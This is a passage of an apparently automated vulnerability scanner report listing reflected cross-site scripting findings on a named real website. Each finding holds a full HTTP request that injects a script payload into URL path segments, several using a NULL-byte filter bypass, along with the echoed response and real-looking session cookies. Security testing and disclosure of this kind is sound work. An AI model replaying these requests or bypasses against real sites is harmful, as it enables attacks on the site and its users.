NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/member/browse-clips.seam%0097cf3<script>alert(1)</script>b33575cd8a HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 379

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/member/browse-clips.seam%0097cf3<script>alert(1)</script>b33575cd8a</code>
...[SNIP]...

1.12. http://www.videobox.com/beta/premium_channel.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/premium_channel.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f2caf<script>alert(1)</script>07e3f3d2bf3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /betaf2caf<script>alert(1)</script>07e3f3d2bf3/premium_channel.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 373

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/betaf2caf<script>alert(1)</script>07e3f3d2bf3/premium_channel.seam</code>
...[SNIP]...

1.13. http://www.videobox.com/beta/premium_channel.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/premium_channel.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00a9d6a<script>alert(1)</script>fbf8756991 was submitted in the REST URL parameter 2. This input was echoed as a9d6a<script>alert(1)</script>fbf8756991 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/premium_channel.seam%00a9d6a<script>alert(1)</script>fbf8756991 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 375

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/premium_channel.seam%00a9d6a<script>alert(1)</script>fbf8756991</code>
...[SNIP]...

1.14. http://www.videobox.com/beta/privacy.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/privacy.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d11eb<script>alert(1)</script>19af44959cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /betad11eb<script>alert(1)</script>19af44959cb/privacy.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 365

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/betad11eb<script>alert(1)</script>19af44959cb/privacy.seam</code>
...[SNIP]...

1.15. http://www.videobox.com/beta/privacy.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/privacy.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00a9976<script>alert(1)</script>e2367c56fab was submitted in the REST URL parameter 2. This input was echoed as a9976<script>alert(1)</script>e2367c56fab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/privacy.seam%00a9976<script>alert(1)</script>e2367c56fab HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 368

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/privacy.seam%00a9976<script>alert(1)</script>e2367c56fab</code>
...[SNIP]...

1.16. http://www.videobox.com/beta/reviews.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/reviews.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8955f<script>alert(1)</script>4803095c62e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta8955f<script>alert(1)</script>4803095c62e/reviews.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 365

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta8955f<script>alert(1)</script>4803095c62e/reviews.seam</code>
...[SNIP]...

1.17. http://www.videobox.com/beta/reviews.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/reviews.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %004779a<script>alert(1)</script>07bdb1ea8c0 was submitted in the REST URL parameter 2. This input was echoed as 4779a<script>alert(1)</script>07bdb1ea8c0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/reviews.seam%004779a<script>alert(1)</script>07bdb1ea8c0 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 368

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/reviews.seam%004779a<script>alert(1)</script>07bdb1ea8c0</code>
...[SNIP]...

1.18. http://www.videobox.com/beta/set_channel.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/set_channel.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 87fa3<script>alert(1)</script>dd354c5b78e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta87fa3<script>alert(1)</script>dd354c5b78e/set_channel.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 369

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta87fa3<script>alert(1)</script>dd354c5b78e/set_channel.seam</code>
...[SNIP]...

1.19. http://www.videobox.com/beta/set_channel.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/set_channel.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00ca520<script>alert(1)</script>6a0d0982f0c was submitted in the REST URL parameter 2. This input was echoed as ca520<script>alert(1)</script>6a0d0982f0c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/set_channel.seam%00ca520<script>alert(1)</script>6a0d0982f0c HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 372

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/set_channel.seam%00ca520<script>alert(1)</script>6a0d0982f0c</code>
...[SNIP]...

1.20. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9d866<script>alert(1)</script>c0b34aeb4e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta9d866<script>alert(1)</script>c0b34aeb4e1/style/shun/base/base/en/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta9d866<script>alert(1)</script>c0b34aeb4e1/style/shun/base/base/en/screen.seam</code>
...[SNIP]...

1.21. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b08d0<script>alert(1)</script>efcb3af715a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/styleb08d0<script>alert(1)</script>efcb3af715a/shun/base/base/en/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/styleb08d0<script>alert(1)</script>efcb3af715a/shun/base/base/en/screen.seam</code>
...[SNIP]...

1.22. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 396f4<script>alert(1)</script>9774f447aef was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/style/shun396f4<script>alert(1)</script>9774f447aef/base/base/en/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/style/shun396f4<script>alert(1)</script>9774f447aef/base/base/en/screen.seam</code>
...[SNIP]...

1.23. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload f691f<script>alert(1)</script>1a9c9b9c8d7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/style/shun/basef691f<script>alert(1)</script>1a9c9b9c8d7/base/en/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
